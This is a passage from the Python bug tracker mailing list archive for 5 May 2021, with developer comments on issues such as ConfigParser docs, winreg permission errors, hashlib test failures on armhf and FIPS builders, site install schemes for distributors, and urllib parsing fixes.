2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Wed, 05 May 2021 07:12:10 +0000 Subject: [issue44044] ConfigParser: cannot link to ConfigParser.optionxform(option) In-Reply-To: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org> Message-ID: <1620198730.38.0.345517843389.issue44044@roundup.psfhosted.org> J?rgen Gmach added the comment: Shreyan Avigyan, thanks for your feedback, but you are linking to the wrong section. And yes I know, there are two sections describing `optionxform`, which is the root cause for this problem in the first place. Anyway, I wanted to reference the section which I marked in the screenshot, and it is not possible to do so, because of the `:noxindex:` directive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:16:35 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 07:16:35 +0000 Subject: [issue44044] ConfigParser: cannot link to ConfigParser.optionxform(option) In-Reply-To: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org> Message-ID: <1620198995.2.0.364732612533.issue44044@roundup.psfhosted.org> Shreyan Avigyan added the comment: If that's the problem then what about merging the two sections together? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:28:48 2021 From: report at bugs.python.org (Paul) Date: Wed, 05 May 2021 07:28:48 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. Message-ID: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> New submission from Paul : DETAILS: "[WinError 5] Access is denied" error is thrown when user attempts to use a different Registry hive other than HKEY_CURRENT_USER. The first example below will demonstrate that the code snippet works just fine and is implemented correctly. However, when you try to run the exact same snippet, but with it pointed to HKEY_LOCAL_MACHINE, it will throw "[WinError 5] Access is denied" error. I have seen plenty of variant examples on how you are supposed to write to the Registry, but when you attempt to do so to other hives, it simply does NOT work. Complete demonstration below of it working, and not working... # WORKING example: registry = winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) wholeKey = winreg.OpenKey(registry, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 0, winreg.KEY_ALL_ACCESS | winreg.KEY_WOW64_64KEY) winreg.SetValue(wholeKey, 'AutoAdminLogon', winreg.REG_SZ, '1') winreg.CloseKey(wholeKey) # NON-WORKING example: registry = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) wholeKey = winreg.OpenKey(registry, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 0, winreg.KEY_ALL_ACCESS | winreg.KEY_WOW64_64KEY) winreg.SetValue(wholeKey, 'AutoAdminLogon', winreg.REG_SZ, '1') winreg.CloseKey(wholeKey) ---------- messages: 392982 nosy: paulenet priority: normal severity: normal status: open title: When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:39:52 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 07:39:52 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620200392.77.0.0137919664086.issue44043@roundup.psfhosted.org> Christian Heimes added the comment: I have talked to our Fedora release engineers. They don't see any issues with armv7hl builds of Python 3.10.0b1. All tests are passing. https://koji.fedoraproject.org/koji/taskinfo?taskID=67234161 Ubuntu's armhf and Fedora's armv7hl both have the platform triplet "arm-linux-gnueabihf". Could the issue be caused by GCC version difference or compiler flags? Fedora uses GCC arch flags -march=armv7-a -mfpu=vfpv3-d16 -mtune=generic-armv7-a -mabi=aapcs-linux -mfloat-abi=hard. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:54:00 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 05 May 2021 07:54:00 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620161886.11.0.0496249448149.issue43976@roundup.psfhosted.org> Message-ID: <9836a03b-67ca-bca0-060b-1fa0e08e7ca2@egenix.com> Marc-Andre Lemburg added the comment: On 04.05.2021 22:58, Steve Dower wrote: >> "pip install as root" will need to continue to work and thus distros >> need to get a way to make sure that it doesn't corrupt the system >> installed packages > > Excuse my ignorance, but does "as root" imply that there's no user site-packages directory at all? Why should there be no site-packages dir ? All non-core packages get installed into site-packages (or a similar dir which holds such packages) by distutils / setuptools. However, distros usually split this up further into packages which are managed by the distro packager and ones which are managed by distutils / setuptools and this is why the install schemes need to be patched. > I'm not imagining a solution that doesn't require *users* to change their commands, so if they're currently running "sudo pip install" because they need to, but we change it so they shouldn't, then I'm okay with them having to remove the "sudo". (At least for this discussion - we can evaluate transition plans separately.) I'm not sure I understand what you're suggesting. For Docker, the instructions from the Dockerfile are run as root, so there is no sudo involved. Whether you use sudo or not or how pip is invoked is really not relevant for the discussion. The main point is that the target of the installation is the system installation, not a local user installation or a venv. That installation layout is what sysconfig.py defines in the install schemes. > And yeah, patching sysconfig.py seems easier. But then, adding a file to the distro is even easier, and if it's easiest for Linux distros to do that via configure than to add a copy step into their build (which is how I'll do it for Windows distros that need it), then I'll leave that to others to decide/implement. You mean: put something like... from _sysconfig_site import * install_sysconfig_site() at the end of sysconfig.py and then have distros add a _sysconfig_site module ? That would work as well, but details will have to be hashed out, since this can be abused to hijack the system installation of Python (python -S would have no effect on this). Patching sysconfig.py is definitely safer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:57:44 2021 From: report at bugs.python.org (PEAR) Date: Wed, 05 May 2021 07:57:44 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620201464.87.0.703058346644.issue43743@roundup.psfhosted.org> PEAR added the comment: Most probably related: https://www.ibm.com/support/pages/apar/IJ28891 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:01:46 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 08:01:46 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620201706.13.0.773966953468.issue43976@roundup.psfhosted.org> Christian Heimes added the comment: > "as root" imply that there's no user site-packages directory at all ^^^^^ Steve is talking about user site-packages, not global site-packages directory. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:08:34 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 08:08:34 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620202114.76.0.458877960048.issue44040@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24579 pull_request: https://github.com/python/cpython/pull/25910 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:08:39 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 08:08:39 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620202119.12.0.869462450944.issue44040@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24580 pull_request: https://github.com/python/cpython/pull/25911 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:09:51 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:09:51 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620202191.73.0.190033595007.issue44040@roundup.psfhosted.org> Change by St?phane Wirtel : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:13:15 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:13:15 +0000 Subject: [issue33927] Allow json.tool to have identical infile and outfile In-Reply-To: <1529577940.46.0.56676864532.issue33927@psf.upfronthosting.co.za> Message-ID: <1620202395.51.0.646225565886.issue33927@roundup.psfhosted.org> Change by St?phane Wirtel : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:16:59 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 05 May 2021 08:16:59 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620201706.13.0.773966953468.issue43976@roundup.psfhosted.org> Message-ID: <5656a98e-71a9-943c-2c37-1af46df8a9a3@egenix.com> Marc-Andre Lemburg added the comment: On 05.05.2021 10:01, Christian Heimes wrote: > >> "as root" imply that there's no user site-packages directory at all > ^^^^^ > > Steve is talking about user site-packages, not global site-packages directory. You mean "pip install --user" as root ? That's not how you typically install Python packages as root in a Dockerfile, no, but, of course, even as root, there is the possibility to install into /root/.local/. The typical Unix way of installing non-system packages is either into /usr/local, /opt/local or similar variants, not into /usr. Python itself also defaults to /usr/local when running "make install". System provided packages normally live under /usr (or even directly under / for low level tools). As a root user, I'd assume that "pip install" also installs into a /usr/local based site-packages dir -- and that's what happens at least on Debian based OSes. But it can only happen because the distros patch the install scheme, since this would normally install into the /usr based site-packages dir for a python binary living in /usr/bin. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:26:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 08:26:08 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620203168.17.0.209248774315.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: Is it working if you run, whatever application you're running python on, in admin mode? ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:29:22 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 08:29:22 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620203362.3.0.901254535882.issue43976@roundup.psfhosted.org> Christian Heimes added the comment: I mean that Steve and you are talking about different things. Neither Steve nor you or I are are Linux distro packaging experts. I suggest that we listen to the expertise of downstream packagers like Filipe or Miro. They deal with packaging on a daily basis. By the way you are assuming that all container solutions work like Docker and that all Docker and non-Docker based container solutions allow you to run code as unrestricted, unconfined root. That's a) a incorrect, and b) offtopic for this ticket. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:47:39 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Wed, 05 May 2021 08:47:39 +0000 Subject: [issue44044] ConfigParser: cannot link to ConfigParser.optionxform(option) In-Reply-To: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org> Message-ID: <1620204459.18.0.558853273959.issue44044@roundup.psfhosted.org> J?rgen Gmach added the comment: > If that's the problem then what about merging the two sections together? That would be one solution, which I suggested in my initial comment: > Looks like a possible fix to this problem would involve a major restructuring of the configparser documentation, to avoid the "duplicated object description". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:50:19 2021 From: report at bugs.python.org (E. Paine) Date: Wed, 05 May 2021 08:50:19 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620204619.76.0.575982239038.issue44026@roundup.psfhosted.org> Change by E. Paine : ---------- keywords: +patch nosy: +epaine nosy_count: 4.0 -> 5.0 pull_requests: +24581 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25912 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:53:58 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:53:58 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620204838.55.0.734036264216.issue44040@roundup.psfhosted.org> St?phane Wirtel added the comment: New changeset bc8b93c9a9fd4faf942cdbaba3e1e0440c594e28 by Miss Islington (bot) in branch '3.9': bpo-44040: Update broken link in pathlib source (GH-25905) (GH-25911) https://github.com/python/cpython/commit/bc8b93c9a9fd4faf942cdbaba3e1e0440c594e28 ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:54:08 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:54:08 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620204848.62.0.81472839819.issue44040@roundup.psfhosted.org> St?phane Wirtel added the comment: New changeset ce4fee210bb604726e5da0ff15952a60c2098f88 by Miss Islington (bot) in branch '3.10': bpo-44040: Update broken link in pathlib source (GH-25905) (GH-25910) https://github.com/python/cpython/commit/ce4fee210bb604726e5da0ff15952a60c2098f88 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:54:58 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:54:58 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620204898.78.0.715538230461.issue44040@roundup.psfhosted.org> St?phane Wirtel added the comment: Thank you for your contribution, I have merged your PR in main and backported to 3.10 (future stable) and 3.9 (bugfix). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 04:55:06 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 05 May 2021 08:55:06 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620204906.63.0.663306567635.issue44040@roundup.psfhosted.org> Change by St?phane Wirtel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:04:02 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 05 May 2021 09:04:02 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620203362.3.0.901254535882.issue43976@roundup.psfhosted.org> Message-ID: <678748bb-3d15-bec2-e4a7-4f354fb47e25@egenix.com> Marc-Andre Lemburg added the comment: On 05.05.2021 10:29, Christian Heimes wrote: > > I mean that Steve and you are talking about different things. Could be. I was addressing the point Steve made about not allowing or making it hard to run "pip install" as root user. > Neither Steve nor you or I are are Linux distro packaging experts. I suggest that we listen to the expertise of downstream packagers like Filipe or Miro. They deal with packaging on a daily basis. Agreed. > By the way you are assuming that all container solutions work like Docker and that all Docker and non-Docker based container solutions allow you to run code as unrestricted, unconfined root. That's a) a incorrect, and b) offtopic for this ticket. I gave the Docker example as proof that running "pip install" as root is a rather common scenario and needs to be supported. Linux distros have been supporting this for many years and just because distutils is deprecated should not mean that we no longer provide ways to support this kind of setup. BTW: I'm aware that other container solutions work in different ways, e.g. Podman, LXC, etc. but I have yet to find a solution that doesn't offer root permissions inside the containers (I'm not talking about how the container is run in the host system). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:11:34 2021 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Wed, 05 May 2021 09:11:34 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620205894.65.0.148193390131.issue43882@roundup.psfhosted.org> Micha? G?rny added the comment: In my opinion, raising an exception would have been safer. Botocore and django do precisely what you say ? provide a validator. To make this validator easier, they do the validation on splitted up URL parts. I disagree with the premise that they were stupid to rely on invalid data being passed through. I could understand if the function started rejecting invalid data. But until now, you could reasonably assume that urlsplit()'s output would correspond to its input. Making the output 'sanitized' means that invalid input is converted into valid output. This goes against the principle of least surprise. In the end, this opens us potential vulnerabilities in other packages. Imagine that something uses urlsplit() to perform the URL validation but uses the original URL elsewhere. By making the validation happen on a sanitized URL, you're effectively disarming the validator and letting bad URL through. Security is not only about fixing potential problems with your package. It's also about considering the consequences to your users. In this case, the chosen solution may actually open more vulnerabilities that it fixes. What's even worse, you're actively harming security in projects that actually attempted to solve the same problem earlier. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:12:39 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 May 2021 09:12:39 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620205959.72.0.600220712525.issue44043@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Given that this happens in hashlib, could this be related to the OpenSSL version? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:20:21 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 09:20:21 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620206421.95.0.515332752818.issue44043@roundup.psfhosted.org> Christian Heimes added the comment: That's possible. I suspect it's related to test_gil itself. Hash providers don't release the GIL for inputs < 2048 bytes. Hashing of small inputs is faster than releasing and re-acquiring the GIL. For inputs >= 2048 hashlib creates a per-object lock and release the GIL while holding the internal lock. The test case verifies that hashlib works correctly for larger inputs that release the GIL. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:39:14 2021 From: report at bugs.python.org (Roundup Robot) Date: Wed, 05 May 2021 09:39:14 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1620207554.12.0.61559145148.issue25872@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 8.0 -> 9.0 pull_requests: +24582 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/25913 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:42:54 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 09:42:54 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620207774.76.0.372821512956.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: Actually behind the scenes, winreg uses win32api which doesn't allow setting HKEY_LOCAL_MACHINE keys for unprivileged users. Running the application in admin mode may work because at that point your application getting admin privileges but it also may not work because winreg module may not gain admin privileges even though your application does. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 05:54:53 2021 From: report at bugs.python.org (Nak) Date: Wed, 05 May 2021 09:54:53 +0000 Subject: [issue28874] test_logging fails and freezes In-Reply-To: <1480923682.41.0.106352881958.issue28874@psf.upfronthosting.co.za> Message-ID: <1620208493.96.0.462951167604.issue28874@roundup.psfhosted.org> Nak added the comment: And the day came... Thank you very much wim.glenn I had this issue when building python 3.6.4 ---------- nosy: +NaKroTeK _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:04:22 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 05 May 2021 10:04:22 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620209062.8.0.668967890692.issue44001@roundup.psfhosted.org> Change by Ken Jin : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:06:27 2021 From: report at bugs.python.org (Kerwin(Kaihui) Sun) Date: Wed, 05 May 2021 10:06:27 +0000 Subject: [issue15907] move doctest test-data files into a subdirectory of Lib/test In-Reply-To: <1347296459.35.0.660655246065.issue15907@psf.upfronthosting.co.za> Message-ID: <1620209187.38.0.480877246838.issue15907@roundup.psfhosted.org> Change by Kerwin(Kaihui) Sun : ---------- nosy: +00Kai0 nosy_count: 5.0 -> 6.0 pull_requests: +24583 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25914 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:13:43 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 05 May 2021 10:13:43 +0000 Subject: [issue41756] Do not always use exceptions to return result from coroutine In-Reply-To: <1599786636.95.0.884410425349.issue41756@roundup.psfhosted.org> Message-ID: <1620209623.24.0.407318687636.issue41756@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:24:18 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Wed, 05 May 2021 10:24:18 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620210258.33.0.432804286418.issue44043@roundup.psfhosted.org> Miro Hron?ok added the comment: In Fedora, our build passed on Fedoras 32, 33, 34, 35. We have: F32: gcc 10.2.1, openssl 1.1.1k F33: gcc 10.3.1, openssl 1.1.1k F34: gcc 11.1.1, openssl 1.1.1k F35: gcc 11.1.1, openssl 1.1.1k Let me know how can I help to debug the difference in environment more. ---------- nosy: +hroncok _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:51:17 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Wed, 05 May 2021 10:51:17 +0000 Subject: [issue44047] [sqlite3] remove unused argument from _pysqlite_seterror() Message-ID: <1620211877.75.0.0509682877779.issue44047@roundup.psfhosted.org> New submission from Erlend Egeberg Aasland : Suggesting to remove the statement pointer argument from _pysqlite_seterror(), as it has been unused since commit 525269430a3f9fbb7287e4bb6b365ac216004980. ---------- components: Extension Modules messages: 393001 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] remove unused argument from _pysqlite_seterror() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:52:20 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Wed, 05 May 2021 10:52:20 +0000 Subject: [issue44047] [sqlite3] remove unused argument from _pysqlite_seterror() In-Reply-To: <1620211877.75.0.0509682877779.issue44047@roundup.psfhosted.org> Message-ID: <1620211940.84.0.618020500038.issue44047@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- keywords: +patch pull_requests: +24584 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25915 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 06:53:27 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 05 May 2021 10:53:27 +0000 Subject: [issue39934] Fatal Python error "XXX block stack overflow" when exception stacks >10 In-Reply-To: <1583933092.46.0.675431384436.issue39934@roundup.psfhosted.org> Message-ID: <1620212007.43.0.965324262343.issue39934@roundup.psfhosted.org> Irit Katriel added the comment: This was fixed in 3.9+ and 3.8 is in security fix now, so closing. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 07:09:23 2021 From: report at bugs.python.org (Charalampos Stratakis) Date: Wed, 05 May 2021 11:09:23 +0000 Subject: [issue44048] test_hashlib failure for "AMD64 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot Message-ID: <1620212963.3.0.83252428059.issue44048@roundup.psfhosted.org> New submission from Charalampos Stratakis : The buildbot started experiencing some failures. First after https://github.com/python/cpython/commit/ddbef71a2c166a5d5dd168e26493973053a953d6 this test started failing with: ====================================================================== ERROR: test_disallow_instantiation (test.test_hashlib.HashLibTestCase) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 160, in __hash_new return _hashlib.new(name, data, **kwargs) ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 912, in test_disallow_instantiation h = constructor() File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 133, in _test_algorithm_via_hashlib_new return hashlib.new(_alg, **kwargs) File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 166, in __hash_new return __get_builtin_constructor(name)(data) File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 123, in __get_builtin_constructor raise ValueError('unsupported hash type ' + name) ValueError: unsupported hash type md5 And then after https://github.com/python/cpython/commit/91554e4c5ca3c762998296522f854a7166ba84f0 there is another failure: ====================================================================== ERROR: test_readonly_types (test.test_hashlib.HashLibTestCase) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 160, in __hash_new return _hashlib.new(name, data, **kwargs) ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 933, in test_readonly_types hash_type = type(constructor()) File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 133, in _test_algorithm_via_hashlib_new return hashlib.new(_alg, **kwargs) File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 166, in __hash_new return __get_builtin_constructor(name)(data) File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 123, in __get_builtin_constructor raise ValueError('unsupported hash type ' + name) ValueError: unsupported hash type md5 ---------- assignee: christian.heimes components: SSL messages: 393003 nosy: christian.heimes, cstratak priority: normal severity: normal status: open title: test_hashlib failure for "AMD64 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 07:13:12 2021 From: report at bugs.python.org (Gen Xu) Date: Wed, 05 May 2021 11:13:12 +0000 Subject: [issue44022] "urllib" will result to deny of service In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620213192.41.0.960239963453.issue44022@roundup.psfhosted.org> Change by Gen Xu : ---------- keywords: +patch nosy: +gen-xu nosy_count: 1.0 -> 2.0 pull_requests: +24585 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25916 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 07:15:17 2021 From: report at bugs.python.org (Gen Xu) Date: Wed, 05 May 2021 11:15:17 +0000 Subject: [issue44022] "urllib" will result to deny of service In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620213317.34.0.182819074848.issue44022@roundup.psfhosted.org> Gen Xu added the comment: Added a possible PR. Review will be appreicated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 07:30:46 2021 From: report at bugs.python.org (Gen Xu) Date: Wed, 05 May 2021 11:30:46 +0000 Subject: [issue44022] "urllib" will result to deny of service In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620214246.12.0.410091085852.issue44022@roundup.psfhosted.org> Gen Xu added the comment: Looks like it is caused by the httplib not limiting total header size after receiving 100. Added a counter for that to be same size as _MAXLINE=65536. ---------- versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 08:10:58 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 12:10:58 +0000 Subject: [issue44049] Use C99 Variable-length array if possible Message-ID: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org> New submission from Dong-hee Na : I had a chance to read Python/suggestion.c and I can notice that we use the static declared size of the array. Since we live in the C99 era and the CPython codebase already uses C99(struct initialization is a good example), how about using the C99 feature if possible. We should care about stack overflow from the big input but with the expected very small input size it will be okay to use. - static size_t buffer[MAX_STRING_SIZE]; - // Both strings are the same (by identity) if (a == b) { return 0; @@ -68,6 +66,8 @@ levenshtein_distance(const char *a, size_t a_size, size_t t_size = a_size; a_size = b_size; b_size = t_size; } + size_t buffer[a_size]; + // quick fail when a match is impossible. if ((b_size - 